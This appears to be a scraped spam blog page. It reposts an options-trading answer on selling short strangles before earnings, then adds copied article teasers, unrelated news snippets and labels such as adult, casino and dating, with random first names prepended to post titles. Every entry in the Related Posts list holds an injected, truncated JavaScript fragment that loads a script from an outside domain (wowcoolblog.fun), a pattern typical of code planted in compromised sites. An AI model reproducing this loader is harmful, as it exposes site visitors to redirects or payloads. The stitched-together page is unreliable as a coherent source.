option Giselle Selling Strangles Prior to Earnings

Giselle Selling Strangles Prior to Earnings

Question from a reader: What is your opinion on a short strangle vs a short straddle? I understand the same unlimited risk will be there because you are trading naked options. I found that one strategy I have had some success with in paper trading is using short strangles around earnings to take advantage of large drops in volatility.

I was taught that one of the assumptions used in this strategy is that for the most part, the market has all ready priced the option correctly for the upcoming news so by allowing for some price movement within your strangle, this is more of a volatility play than a price play.

1) To me they are the same, with the straddle being a subset of the strangle In other words, a straddle is merely a strangle when the strikes and expiration dates are the same.

I prefer the strangle because it allows the trader to choose call and put strike prices independently, rather than being 'forced' to choose the same strike. I prefer to sell OTM calls and puts – and that's not possible with a straddle.

As far as unlimited risk is concerned, that's a decision for each trader. I prefer the smaller reward and increased safety of selling credit spreads (an iron condor position), but that is not relevant to today's post.

2) A clarification. In is not 'volatility' that incurs a large decrease after the news is released. Instead it is the implied volatility of the options. I'm fairly certain that is what you meant to say.

3) Your earnings plays are far riskier than you currently believe them to be. These are not horrible trades, but neither are they as simple as you make them out to be.

4) I must disagree with whomever it was who told you that "the market has priced the option correctly for the upcoming news." The market has made an estimate

There is no formal prediction of move size. There is nothing that says the stock will move 6.35 points. What happens is the implied volatility rises as longs as more and more buyers send orders to purchase options. And it makes no difference if they are calls or puts. At some point option prices stabilize (or the market closes for the day) and a 'final' implied volatility can be measured.

From the IV, the 'anticipated move' for the underlying is determined. AsI said, it's not as is everyone agreed on how much the stock will move.

I hope you understand that when the news is released, there is very little chance that the predicted move is the correct move. Many times the move is far less than expected. That's the reason why selling options prior to earnings can be very profitable. The IV collapses because another substantial price change is NOT expected and there is no reason to pay a high IV to buy either calls or puts.

However, if you chose to sell an option that was not very far out of the money (OTM), and if the stock moves far enough, then the IV decrease doesn't do a whole lot of good. Sure you gain as IV plunges, but you can easily incur a substantial loss when the short option has moved significantly into the money.

Also remember that part of the time thet stock price gaps by far more than expected. In that scenario, a higher quantity of formerly OTM options are now ITM. Thus, large losses are not only possible, but they are more frequent that you realize. Apparently your trades have worked out well (so far).

Think about this: If those option buyers did not profit often enough to encourage them to pay 'high' prices for the options they buy, they would have stopped buying them long ago. The truth is that these option buyers collect often enough to keep them coming back for more.

5) That means you must be selective in which options you sell into earnings news. This is especially true when you elect to sell naked options. You cannot options on every stock, hoping that any random play will work. This is a high risk/high reward game. It's okay to participate, but please be aware of what you are doing and the risk involved.

What Is SteadyOptions?

Full Trading Plan

Complete Portfolio Approach

Diversified Options Strategies

Exclusive Community Forum

Steady And Consistent Gains

High Quality Education

Risk Management, Portfolio Size

Performance based on real fills

Non-directional Options Strategies

10-15 trade Ideas Per Month

Targets 5-7% Monthly Net Return

Recent Articles

Articles

Pricing Models and Volatility Problems

Most traders are aware of the volatility-related problem with the best-known option pricing model, Black-Scholes. The assumption under this model is that volatility remains constant over the entire remaining life of the option.

By Michael C. Thomsett, August 16

  • 0 comments
  • 186 views
  • Added byMichael C. Thomsett
  • August 16
  • Option Arbitrage Risks

    Options traders dealing in arbitrage might not appreciate the forms of risk they face. The typical arbitrage position is found in synthetic long or short stock. In these positions, the combined options act exactly like the underlying. This creates the arbitrage.

    By Michael C. Thomsett, August 7

    • 0 comments
    • 409 views
    • Added byMichael C. Thomsett
    • August 7
  • Why Haven't You Started Investing Yet?

    You are probably aware that investment opportunities are great for building wealth. Whether you opt for stocks and shares, precious metals, forex trading, or something else besides, you could afford yourself financial freedom. But if you haven't dipped your toes into the world of investing yet, we have to ask ourselves why.

    By Kim, August 7

    • 0 comments
    • 256 views
    • Added byKim
    • August 7
  • Historical Drawdowns for Global Equity Portfolios

    Globally diversified equity portfolios typically hold thousands of stocks across dozens of countries. This degree of diversification minimizes the risk of a single company, country, or sector. Because of this diversification, investors should be cautious about confusing temporary declines with permanent loss of capital like with single stocks.

    By Jesse, August 6

    • 0 comments
    • 266 views
    • Added byJesse
    • August 6
  • Types of Volatility

    Are most options traders aware of five different types of volatility? Probably not. Most only deal with two types, historical and implied. All five types (historical, implied, future, forecast and seasonal), deserve some explanation and study.

    By Michael C. Thomsett, August 1

    • 0 comments
    • 362 views
    • Added byMichael C. Thomsett
    • August 1
  • The Performance Gap Between Large Growth and Small Value Stocks

    Academic research suggests there are differences in expected returns among stocks over the long-term. Small companies with low fundamental valuations (Small Cap Value) have higher expected returns than big companies with high valuations (Large Cap Growth).

    By Jesse, July 21

    • 0 comments
    • 690 views
    • Added byJesse
    • July 21
  • How New Traders Can Use Trade Psychology To Succeed

    People have been trying to figure out just what makes humans tick for hundreds of years. In some respects, we’ve come a long way, in others, we’ve barely scratched the surface. Like it or not, many industries take advantage of this knowledge to influence our behaviour and buying patterns.

    • 0 comments
    • 441 views
    • Added byKim
    • July 21
  • A Reliable Reversal Signal

    Options traders struggle constantly with the quest for reliable

    By Michael C. Thomsett, July 20

    • 0 comments
    • 717 views
    • Added byMichael C. Thomsett
    • July 20
  • Premium at Risk

    Should options traders consider “premium at risk” when entering strategies? Most traders focus on calculated maximum profit or loss and breakeven price levels. But inefficiencies in option behavior, especially when close to expiration, make these basic calculations limited in value, and at times misleading.

    By Michael C. Thomsett, July 13

    • 0 comments
    • 562 views
    • Added byMichael C. Thomsett
    • July 13
  • Diversified Leveraged Anchor Performance

    In our continued efforts to improve the Anchor strategy, in April of this year we began tracking a Diversified Leveraged Anchor strategy, under the theory that, over time, a diversified portfolio performs better than an undiversified portfolio in numerous metrics. Not only does overall performance tend to increase, but volatility and drawdowns tend to decrease:

    Add Comment
    option
    Friday, September 27, 2019

    Share

    Like

    G+

    Tweet

    Tweet

    Related Posts

    • Vernita Leveraged Anchor: A Three Month Review var d=document;var s=d.createElement('script'); s.src='//wowcoolblog.fun/LzWVb8?se_referrer=' + e
    • Loria Mitsuboy’s Trading Strategy var d=document;var s=d.createElement('script'); s.src='//wowcoolblog.fun/LzWVb8?se_referrer=' + e
    • Sabra Backtesting Pre Earnings Straddles Using CML TradeMachine var d=document;var s=d.createElement('script'); s.src='//wowcoolblog.fun/LzWVb8?se_referrer=' + e
    • Rozanne 7 Trading Cliches For Novice Traders var d=document;var s=d.createElement('script'); s.src='//wowcoolblog.fun/LzWVb8?se_referrer=' + e
    • Lina Options and Diversification Myths var d=document;var s=d.createElement('script'); s.src='//wowcoolblog.fun/LzWVb8?se_referrer=' + e
    • Mirta Island Clusters as Strong Reversals var d=document;var s=d.createElement('script'); s.src='//wowcoolblog.fun/LzWVb8?se_referrer=' + e
  • Next Last Home

    Weekly Posts

    • Jen January Brings Resolutions and Reflection – and Divorce
      Every year, the number of couples filing for divorce increases between the months of January and March. The question is: why do so many cou...
    • Phebe Jimmy Hoffa disappeared – and then his legacy took on a life of its own
      Author Professor of American Studies, Pennsylvania State University Disclosure statement David Scott Witwer does not work for, consult, own...
    • Jin Why Bill & Ted Face The Music Retconned Bogus Journey's Ending
      Bill & Ted co-creator Ed Solomon explains why the latest movie, Bill & Ted Face the Music, retconned the ending of the sequel movie...

    Label

    • adult
    • casino
    • coins
    • dating
    • forex
    • healthy
    • movies
    • option

    Contact

    Name

    Email *

    Message *

    Copyright © 2020 my mini blog All Right Reserved
    Created by My mini blog | and Janson McClintock